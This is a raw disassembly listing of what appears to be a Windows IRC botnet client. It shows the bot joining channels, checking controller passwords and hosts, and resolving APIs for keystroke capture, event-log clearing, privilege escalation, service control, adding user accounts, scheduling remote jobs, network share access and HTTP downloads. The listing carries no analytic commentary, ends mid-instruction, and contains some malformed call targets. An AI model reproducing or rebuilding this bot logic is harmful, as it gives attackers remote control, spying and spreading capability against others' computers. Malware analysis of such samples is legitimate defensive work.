--------------------------------------------------------------------------- loc_40948A: ; CODE XREF: sub_401ACD+79B4j push offset unk_429D34 loc_40948F: ; CODE XREF: sub_401ACD+79BBj lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4094BF push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_4094BF: ; CODE XREF: sub_401ACD+79D4j lea eax, [ebp+var_2C4] push eax call sub_415D38 add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_409463 jmp loc_401F75 ; --------------------------------------------------------------------------- loc_4094DB: ; CODE XREF: sub_401ACD+3D85j ; sub_401ACD+3D9Cj cmp [ebp+var_C], ebx jz loc_409644 push edi push [ebp+var_C] call sub_41C2E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409644 push esi push offset dword_42A2E8 push [ebp+arg_4] call sub_409823 add esp, 0Ch push esi push offset unk_429D1C jmp loc_40963D ; --------------------------------------------------------------------------- loc_409515: ; CODE XREF: sub_401ACD+3D57j ; sub_401ACD+3D6Ej push edi push offset dword_42A24C push [ebp+arg_4] call sub_409823 add esp, 0Ch push edi push offset unk_429CFC jmp loc_40963D ; --------------------------------------------------------------------------- loc_409531: ; CODE XREF: sub_401ACD+3D29j ; sub_401ACD+3D40j push [ebp+esi+var_88] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 10h push edi push offset unk_429CDC jmp loc_40963D ; --------------------------------------------------------------------------- loc_409554: ; CODE XREF: sub_401ACD+3CFBj ; sub_401ACD+3D12j push edi push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 0Ch push edi push offset unk_429CB8 jmp loc_40963D ; --------------------------------------------------------------------------- loc_409570: ; CODE XREF: sub_401ACD+3123j ; sub_401ACD+313Aj push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409823 pop ecx lea eax, [ebp+var_2C4] pop ecx push edi push offset unk_429C98 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_415D38 push edi call sub_41C159 add esp, 14h loc_4095A6: ; CODE XREF: sub_401ACD+7B23j push eax call near ptr 2670E97h nop loc_4095AD: ; CODE XREF: sub_401ACD+2A5Fj xor eax, eax jmp loc_401F78 ; --------------------------------------------------------------------------- loc_4095B4: ; CODE XREF: sub_401ACD+30F5j ; sub_401ACD+310Cj push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409823 pop ecx lea eax, [ebp+var_2C4] pop ecx push edi push offset unk_429C70 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_415D38 push edi call sub_41C159 add esp, 14h imul eax, 3E8h jmp short loc_4095A6 ; --------------------------------------------------------------------------- loc_4095F2: ; CODE XREF: sub_401ACD+EADj ; sub_401ACD+EC2j push [ebp+esi+var_8C] xor eax, eax cmp [ebp+var_8F0], bl setnz al push eax lea eax, [ebp+var_338] push dword_42909C push eax call sub_40AE84 add esp, 10h lea eax, [ebp+var_338] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 0Ch lea eax, [ebp+var_338] push eax push offset unk_429C4C loc_40963D: ; CODE XREF: sub_401ACD+6FCCj ; sub_401ACD+75F1j ... call sub_415DAC pop ecx loc_409643: ; CODE XREF: sub_401ACD+6BD8j pop ecx loc_409644: ; CODE XREF: sub_401ACD+63Dj ; sub_401ACD+649j ... mov eax, [ebp+arg_24] jmp loc_401F78 ; --------------------------------------------------------------------------- loc_40964C: ; CODE XREF: sub_401ACD+A98j ; sub_401ACD+AADj mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_20], esi jz loc_401F75 cmp [ebp+var_A4], ebx jnz loc_401F75 push offset asc_42CDBC ; "!" push [ebp+var_90] call sub_41CAD4 mov esi, eax push offset word_4CB88C push ebx inc esi call sub_41CAD4 push offset asc_429C48 ; "~" push eax call sub_41CAD4 push [ebp+arg_20] mov edi, eax push offset aCool ; "cool" call sub_41CA50 add esp, 20h test eax, eax jz short loc_4096EB lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409823 add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409823 add esp, 0Ch push edi push esi push offset unk_429BC8 jmp loc_4023EE ; --------------------------------------------------------------------------- loc_4096EB: ; CODE XREF: sub_401ACD+7BDAj mov [ebp+arg_24], offset off_42915C loc_4096F2: ; CODE XREF: sub_401ACD+7C41j mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_40B713 pop ecx test eax, eax pop ecx jnz short loc_409752 add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_429160 jb short loc_4096F2 lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409823 add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409823 add esp, 0Ch push edi push esi push offset unk_429B74 jmp loc_4023EE ; --------------------------------------------------------------------------- loc_409752: ; CODE XREF: sub_401ACD+7C34j mov edi, [ebp+arg_18] xor esi, esi loc_409757: ; CODE XREF: sub_401ACD+7CB4j cmp [ebp+arg_20], ebx jz loc_401F75 cmp [edi], bl jnz short loc_409777 push [ebp+arg_20] push offset aCool ; "cool" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_409788 loc_409777: ; CODE XREF: sub_401ACD+7C95j inc esi add edi, 80h cmp esi, 3 jl short loc_409757 jmp loc_401F75 ; --------------------------------------------------------------------------- loc_409788: ; CODE XREF: sub_401ACD+7CA8j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_E04] push 7Fh push eax push esi call sub_41BFD0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4097BF push ebx push [ebp+var_4] push offset unk_429B54 push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_4097BF: ; CODE XREF: sub_401ACD+7CD6j lea eax, [ebp+var_C4] push eax push offset unk_429B34 loc_4097CB: ; CODE XREF: sub_401ACD+595j ; sub_401ACD+2889j ... call sub_415DAC loc_4097D0: ; CODE XREF: sub_401ACD+1B81j pop ecx loc_4097D1: ; CODE XREF: sub_401ACD+24FDj pop ecx jmp loc_401F75 ; --------------------------------------------------------------------------- loc_4097D7: ; CODE XREF: sub_401ACD+20Ej ; sub_401ACD+223j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 0Ch push offset aXI ; "-x+i" push [ebp+arg_10] push offset aModeSS_0 ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 10h push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 10h mov dword_4CB884, edi jmp loc_401D6A sub_401ACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409823 proc near ; CODE XREF: sub_401955+3Dp ; sub_401ACD+1CBp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_41CB70 add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CBA24 leave retn sub_409823 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409869 proc near ; CODE XREF: sub_401ACD+506p ; sub_401ACD+134Ep ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_409884 mov edi, offset aPrivmsg ; "PRIVMSG" loc_409884: ; CODE XREF: sub_409869+14j push edi call sub_41B9C0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_41B9C0 pop ecx sub esi, eax pop ecx lea eax, [ebp+var_400] push [ebp+arg_8] push offset aS_1 ; "%s" push esi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset aSSS_0 ; "%s %s :%s\r\n" push eax call sub_41C266 add esp, 14h lea eax, [ebp+var_200] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CBA24 cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_409907 push 7D0h nop call near ptr 2670E97h locret_409907: ; CODE XREF: sub_409869+91j leave retn sub_409869 endp ; =============== S U B R O U T I N E ======================================= sub_409909 proc near ; CODE XREF: ___:0040126Cp push ebx push ebp mov ebp, dword_4270A4 push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp mov esi, dword_4270C4 mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_409A29 push offset aSeterrormode ; "SetErrorMode" push edi call esi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_4CBA80, eax call esi push offset aProcess32first ; "Process32First" push edi mov dword_4CB9F4, eax call esi push offset aProcess32next ; "Process32Next" push edi mov dword_4CB9D8, eax call esi push offset aModule32first ; "Module32First" push edi mov dword_4CB8E8, eax call esi push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_4CB894, eax call esi push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_4CB8C4, eax call esi push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_4CB93C, eax call esi push offset aSearchpatha ; "SearchPathA" push edi mov dword_4CBA34, eax call esi push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_4CBA90, eax call esi push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_4CB8F4, eax call esi cmp dword_4CBA80, ebx mov dword_4CB8DC, eax jz short loc_409A07 cmp dword_4CB9F4, ebx jz short loc_409A07 cmp dword_4CB9D8, ebx jz short loc_409A07 cmp dword_4CB8E8, ebx jz short loc_409A07 cmp dword_4CB8C4, ebx jz short loc_409A07 cmp dword_4CB93C, ebx jz short loc_409A07 cmp dword_4CBA34, ebx jz short loc_409A07 cmp dword_4CBA90, ebx jz short loc_409A07 cmp dword_4CB8F4, ebx jz short loc_409A07 cmp eax, ebx jnz short loc_409A11 loc_409A07: ; CODE XREF: sub_409909+B8j ; sub_409909+C0j ... mov dword_4CBA94, 1 loc_409A11: ; CODE XREF: sub_409909+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi cmp eax, ebx mov dword_4CBA0C, eax jz short loc_409A3E push 1 push ebx call eax jmp short loc_409A3E ; --------------------------------------------------------------------------- loc_409A29: ; CODE XREF: sub_409909+1Dj nop call near ptr 2680972h mov dword_4CBA98, eax mov dword_4CBA94, 1 loc_409A3E: ; CODE XREF: sub_409909+117j ; sub_409909+11Ej push offset aUser32_dll ; "user32.dll" nop call near ptr 26B0000h mov edi, eax cmp edi, ebx jz loc_409B53 push offset aSendmessagea ; "SendMessageA" push edi call esi push offset aFindwindowa ; "FindWindowA" push edi mov dword_4CBA30, eax call esi push offset aIswindow ; "IsWindow" push edi mov dword_4CB9E0, eax call esi push offset aDestroywindow ; "DestroyWindow" push edi mov dword_4CB974, eax call esi push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_4CBA84, eax call esi push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_4CB9A4, eax call esi push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_4CB9C4, eax call esi push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_4CBA28, eax call esi cmp dword_4CBA30, ebx mov dword_4CB914, eax jz short loc_409AF7 cmp dword_4CB9E0, ebx jz short loc_409AF7 cmp dword_4CB974, ebx jz short loc_409AF7 cmp dword_4CBA84, ebx jz short loc_409AF7 cmp dword_4CB9A4, ebx jz short loc_409AF7 cmp dword_4CB9C4, ebx jz short loc_409AF7 cmp dword_4CBA28, ebx jz short loc_409AF7 cmp eax, ebx jnz short loc_409B01 loc_409AF7: ; CODE XREF: sub_409909+1B8j ; sub_409909+1C0j ... mov dword_4CBA9C, 1 loc_409B01: ; CODE XREF: sub_409909+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi push offset aGetkeystate ; "GetKeyState" push edi mov dword_4CB9A0, eax call esi push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_4CB8A8, eax call esi push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_4CB970, eax call esi cmp dword_4CB9A0, ebx mov dword_4CB958, eax jz short loc_409B5E cmp dword_4CB8A8, ebx jz short loc_409B5E cmp dword_4CB970, ebx jz short loc_409B5E cmp eax, ebx jnz short loc_409B68 jmp short loc_409B5E ; --------------------------------------------------------------------------- loc_409B53: ; CODE XREF: sub_409909+144j nop call near ptr 2680972h mov dword_4CBAA0, eax loc_409B5E: ; CODE XREF: sub_409909+232j ; sub_409909+23Aj ... mov dword_4CBA9C, 1 loc_409B68: ; CODE XREF: sub_409909+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409D21 push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_4CBA44, eax call esi push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_4CB988, eax call esi push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_4CB9F8, eax call esi push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_4CB8D4, eax call esi push offset aRegclosekey ; "RegCloseKey" push edi mov dword_4CB938, eax call esi push offset aOpeneventloga ; "OpenEventLogA" push edi mov dword_4CB9B0, eax call esi push offset aCleareventloga ; "ClearEventLogA" push edi mov dword_4CB954, eax call esi cmp dword_4CBA44, ebx mov dword_4CB964, eax jz short loc_409C11 cmp dword_4CB988, ebx jz short loc_409C11 cmp dword_4CB9F8, ebx jz short loc_409C11 cmp dword_4CB8D4, ebx jz short loc_409C11 cmp dword_4CB938, ebx jz short loc_409C11 cmp dword_4CB9B0, ebx jnz short loc_409C1B loc_409C11: ; CODE XREF: sub_409909+2DEj ; sub_409909+2E6j ... mov dword_4CBAA4, 1 loc_409C1B: ; CODE XREF: sub_409909+306j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_4CB9B8, eax call esi push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_4CB990, eax call esi cmp dword_4CB9B8, ebx mov dword_4CBA40, eax jz short loc_409C56 cmp dword_4CB990, ebx jz short loc_409C56 cmp eax, ebx jnz short loc_409C60 loc_409C56: ; CODE XREF: sub_409909+33Fj ; sub_409909+347j mov dword_4CBAA4, 1 loc_409C60: ; CODE XREF: sub_409909+34Bj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi push offset aOpenservicea ; "OpenServiceA" push edi mov dword_4CB9C8, eax call esi push offset aStartservicea ; "StartServiceA" push edi mov dword_4CB8B0, eax call esi push offset aControlservice ; "ControlService" push edi mov dword_4CB8B8, eax call esi push offset aDeleteservice ; "DeleteService" push edi mov dword_4CB91C, eax call esi push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_4CB920, eax call esi push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_4CB8CC, eax call esi push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_4CB994, eax call esi cmp dword_4CB9C8, ebx mov dword_4CB8BC, eax jz short loc_409D04 cmp dword_4CB8B0, ebx jz short loc_409D04 cmp dword_4CB8B8, ebx jz short loc_409D04 cmp dword_4CB91C, ebx jz short loc_409D04 cmp dword_4CB920, ebx jz short loc_409D04 cmp dword_4CB8CC, ebx jz short loc_409D04 cmp dword_4CB994, ebx jz short loc_409D04 cmp eax, ebx jnz short loc_409D0E loc_409D04: ; CODE XREF: sub_409909+3C5j ; sub_409909+3CDj ... mov dword_4CBAA4, 1 loc_409D0E: ; CODE XREF: sub_409909+3F9j push offset aGetusernamea ; "GetUserNameA" push edi call esi cmp eax, ebx mov dword_4CB8B4, eax jnz short loc_409D36 jmp short loc_409D2C ; --------------------------------------------------------------------------- loc_409D21: ; CODE XREF: sub_409909+26Aj nop call near ptr 2680972h mov dword_4CBAA8, eax loc_409D2C: ; CODE XREF: sub_409909+416j mov dword_4CBAA4, 1 loc_409D36: ; CODE XREF: sub_409909+414j push offset aGdi32_dll ; "gdi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409E02 push offset aCreatedca ; "CreateDCA" push edi call esi push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_4CB9C0, eax call esi push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_4CBA18, eax call esi push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_4CBA20, eax call esi push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_4CB9DC, eax call esi push offset aSelectobject ; "SelectObject" push edi mov dword_4CB8F8, eax call esi push offset aBitblt ; "BitBlt" push edi mov dword_4CB8A4, eax call esi push offset aDeletedc ; "DeleteDC" push edi mov dword_4CBA1C, eax call esi push offset aDeleteobject ; "DeleteObject" push edi mov dword_4CB890, eax call esi cmp dword_4CB9C0, ebx mov dword_4CB930, eax jz short loc_409E0D cmp dword_4CBA18, ebx jz short loc_409E0D cmp dword_4CBA20, ebx jz short loc_409E0D cmp dword_4CB9DC, ebx jz short loc_409E0D cmp dword_4CB8F8, ebx jz short loc_409E0D cmp dword_4CB8A4, ebx jz short loc_409E0D cmp dword_4CBA1C, ebx jz short loc_409E0D cmp dword_4CB890, ebx jz short loc_409E0D cmp eax, ebx jnz short loc_409E17 jmp short loc_409E0D ; --------------------------------------------------------------------------- loc_409E02: ; CODE XREF: sub_409909+438j nop call near ptr 2680972h mov dword_4CBAB0, eax loc_409E0D: ; CODE XREF: sub_409909+4B9j ; sub_409909+4C1j ... mov dword_4CBAAC, 1 loc_409E17: ; CODE XREF: sub_409909+4F5j mov ebp, dword_4270C0 push offset aWs2_32_dll ; "ws2_32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A0D3 push offset aWsastartup ; "WSAStartup" push edi call esi push offset aWsasocketa ; "WSASocketA" push edi mov dword_4CB944, eax call esi push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_4CBA78, eax call esi push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_4CB8E4, eax call esi push offset aWsaioctl ; "WSAIoctl" push edi mov dword_4CB8C0, eax call esi push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_4CB980, eax call esi push offset aWsacleanup ; "WSACleanup" push edi mov dword_4CB968, eax call esi push offset aSocket ; "socket" push edi mov dword_4CB92C, eax call esi push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_4CBA54, eax call esi push offset aConnect ; "connect" push edi mov dword_4CBA70, eax call esi push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_4CB97C, eax call esi push offset aInet_addr ; "inet_addr" push edi mov dword_4CBA60, eax call esi push offset aHtons ; "htons" push edi mov dword_4CBA14, eax call esi push offset aHtonl ; "htonl" push edi mov dword_4CB9D4, eax call esi push offset aNtohs ; "ntohs" push edi mov dword_4CB9D0, eax call esi push offset aNtohl ; "ntohl" push edi mov dword_4CB904, eax call esi push offset aSend ; "send" push edi mov dword_4CB8FC, eax call esi push offset aSendto ; "sendto" push edi mov dword_4CBA24, eax call esi push offset aRecv ; "recv" push edi mov dword_4CBA38, eax call esi push offset aRecvfrom ; "recvfrom" push edi mov dword_4CB9EC, eax call esi mov dword_4CB9AC, eax push offset aBind ; "bind" push edi call esi push offset aSelect ; "select" push edi mov dword_4CBA00, eax call esi push offset aListen ; "listen" push edi mov dword_4CB9BC, eax call esi push offset aAccept ; "accept" push edi mov dword_4CB9FC, eax call esi push offset aSetsockopt ; "setsockopt" push edi mov dword_4CBA68, eax call esi push offset aGetsockname ; "getsockname" push edi mov dword_4CB9B4, eax call esi push offset aGethostname ; "gethostname" push edi mov dword_4CB978, eax call esi push offset aGethostbyname ; "gethostbyname" push edi mov dword_4CB9E8, eax call esi push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_4CBA58, eax call esi push offset aGetpeername ; "getpeername" push edi mov dword_4CB98C, eax call esi push offset aClosesocket ; "closesocket" push edi mov dword_4CB928, eax call esi cmp dword_4CB944, ebx mov dword_4CBA6C, eax jz loc_40A0DE cmp dword_4CBA78, ebx jz loc_40A0DE cmp dword_4CB8E4, ebx jz loc_40A0DE cmp dword_4CB980, ebx jz loc_40A0DE cmp dword_4CB968, ebx jz loc_40A0DE cmp dword_4CB92C, ebx jz loc_40A0DE cmp dword_4CBA54, ebx jz loc_40A0DE cmp dword_4CBA70, ebx jz loc_40A0DE cmp dword_4CB97C, ebx jz loc_40A0DE cmp dword_4CBA60, ebx jz loc_40A0DE cmp dword_4CBA14, ebx jz loc_40A0DE cmp dword_4CB9D4, ebx jz loc_40A0DE cmp dword_4CB9D0, ebx jz loc_40A0DE cmp dword_4CB904, ebx jz short loc_40A0DE cmp dword_4CBA24, ebx jz short loc_40A0DE cmp dword_4CBA38, ebx jz short loc_40A0DE cmp dword_4CB9EC, ebx jz short loc_40A0DE cmp dword_4CB9AC, ebx jz short loc_40A0DE cmp dword_4CBA00, ebx jz short loc_40A0DE cmp dword_4CB9BC, ebx jz short loc_40A0DE cmp dword_4CB9FC, ebx jz short loc_40A0DE cmp dword_4CBA68, ebx jz short loc_40A0DE cmp dword_4CB9B4, ebx jz short loc_40A0DE cmp dword_4CB978, ebx jz short loc_40A0DE cmp dword_4CB9E8, ebx jz short loc_40A0DE cmp dword_4CBA58, ebx jz short loc_40A0DE cmp dword_4CB98C, ebx jz short loc_40A0DE cmp eax, ebx jnz short loc_40A0E8 jmp short loc_40A0DE ; --------------------------------------------------------------------------- loc_40A0D3: ; CODE XREF: sub_409909+51Fj call near ptr 2680972h nop mov dword_4CBAB8, eax loc_40A0DE: ; CODE XREF: sub_409909+6BEj ; sub_409909+6CAj ... mov dword_4CBAB4, 1 loc_40A0E8: ; CODE XREF: sub_409909+7C6j push offset aWininet_dll ; "wininet.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A1ED push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_4CB910, eax call esi push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_4CB898, eax call esi push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_4CB99C, eax call esi push offset aInternetconnec ; "InternetConnectA" push edi mov dword_4CB948, eax call esi push offset aInternetopena ; "InternetOpenA" push edi mov dword_4CB9A8, eax call esi push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_4CB96C, eax call esi push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_4CB8D8, eax call esi push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_4CB8D0, eax call esi push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_4CB8E0, eax call esi cmp dword_4CB910, ebx mov ecx, dword_4CB96C mov dword_4CBA08, eax jz short loc_40A1C9 cmp dword_4CB898, ebx jz short loc_40A1C9 cmp dword_4CB99C, ebx jz short loc_40A1C9 cmp dword_4CB948, ebx jz short loc_40A1C9 cmp dword_4CB9A8, ebx jz short loc_40A1C9 cmp ecx, ebx jz short loc_40A1C9 cmp dword_4CB8D8, ebx jz short loc_40A1C9 cmp dword_4CB8D0, ebx jz short loc_40A1C9 cmp dword_4CB8E0, ebx jz short loc_40A1C9 cmp eax, ebx jnz short loc_40A1D3 loc_40A1C9: ; CODE XREF: sub_409909+87Ej ; sub_409909+886j ... mov dword_4CBABC, 1 loc_40A1D3: ; CODE XREF: sub_409909+8BEj cmp ecx, ebx jz short loc_40A208 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx cmp eax, ebx mov dword_4CB984, eax jnz short loc_40A208 jmp short loc_40A202 ; --------------------------------------------------------------------------- loc_40A1ED: ; CODE XREF: sub_409909+7EAj call near ptr 2680972h nop mov dword_4CBAC0, eax mov dword_4CBABC, 1 loc_40A202: ; CODE XREF: sub_409909+8E2j mov dword_4CB984, ebx loc_40A208: ; CODE XREF: sub_409909+8CCj ; sub_409909+8E0j push offset aIcmp_dll ; "icmp.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A252 push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_4CB95C, eax call esi push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_4CBA8C, eax call esi cmp dword_4CB95C, ebx mov dword_4CB8EC, eax jz short loc_40A25D cmp dword_4CBA8C, ebx jz short loc_40A25D cmp eax, ebx jnz short loc_40A267 jmp short loc_40A25D ; --------------------------------------------------------------------------- loc_40A252: ; CODE XREF: sub_409909+90Aj nop call near ptr 2680972h mov dword_4CBAC8, eax loc_40A25D: ; CODE XREF: sub_409909+939j ; sub_409909+941j ... mov dword_4CBAC4, 1 loc_40A267: ; CODE XREF: sub_409909+945j push offset aNetapi32_dll ; "netapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A36E push offset aNetshareadd ; "NetShareAdd" push edi call esi push offset aNetsharedel ; "NetShareDel" push edi mov dword_4CB8C8, eax call esi push offset aNetshareenum ; "NetShareEnum" push edi mov dword_4CB8A0, eax call esi push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_4CB918, eax call esi push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_4CB94C, eax call esi push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_4CBA64, eax call esi push offset aNetuseradd ; "NetUserAdd" push edi mov dword_4CB900, eax call esi push offset aNetuserdel ; "NetUserDel" push edi mov dword_4CB8AC, eax call esi push offset aNetuserenum ; "NetUserEnum" push edi mov dword_4CB89C, eax call esi push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_4CB934, eax call esi push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_4CBA2C, eax call esi push offset aNetwkstagetinf ; "NetWkstaGetInfo" push edi mov dword_4CB9E4, eax call esi cmp dword_4CB8C8, ebx mov dword_4CB908, eax jz short loc_40A379 cmp dword_4CB8A0, ebx jz short loc_40A379 cmp dword_4CB918, ebx jz short loc_40A379 cmp dword_4CB94C, ebx jz short loc_40A379 cmp dword_4CBA64, ebx jz short loc_40A379 cmp dword_4CB900, ebx jz short loc_40A379 cmp dword_4CB8AC, ebx jz short loc_40A379 cmp dword_4CB89C, ebx jz short loc_40A379 cmp dword_4CB934, ebx jz short loc_40A379 cmp dword_4CBA2C, ebx jz short loc_40A379 cmp dword_4CB9E4, ebx jnz short loc_40A383 jmp short loc_40A379 ; --------------------------------------------------------------------------- loc_40A36E: ; CODE XREF: sub_409909+969j nop call near ptr 2680972h mov dword_4CBAD0, eax loc_40A379: ; CODE XREF: sub_409909+A11j ; sub_409909+A19j ... mov dword_4CBACC, 1 loc_40A383: ; CODE XREF: sub_409909+A61j push offset aDnsapi_dll ; "dnsapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A3B8 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_4CB8F0, eax call esi cmp dword_4CB8F0, ebx mov dword_4CB9CC, eax jz short loc_40A3C3 cmp eax, ebx jnz short loc_40A3CD jmp short loc_40A3C3 ; --------------------------------------------------------------------------- loc_40A3B8: ; CODE XREF: sub_409909+A85j nop call near ptr 2680972h mov dword_4CBAD8, eax loc_40A3C3: ; CODE XREF: sub_409909+AA7j ; sub_409909+AADj mov dword_4CBAD4, 1 loc_40A3CD: ; CODE XREF: sub_409909+AABj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A402 push offset aGetipnettable ; "GetIpNetTable" push edi call esi push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_4CBA50, eax call esi cmp dword_4CBA50, ebx mov dword_4CBA4C, eax jz short loc_40A40D cmp eax, ebx jnz short loc_40A417 jmp short loc_40A40D ; --------------------------------------------------------------------------- loc_40A402: ; CODE XREF: sub_409909+ACFj nop call near ptr 2680972h mov dword_4CBAE0, eax loc_40A40D: ; CODE XREF: sub_409909+AF1j ; sub_409909+AF7j mov dword_4CBADC, 1 loc_40A417: ; CODE XREF: sub_409909+AF5j push offset aMpr_dll ; "mpr.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A476 push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_4CBA7C, eax call esi push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_4CBA74, eax call esi push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_4CBA3C, eax call esi cmp 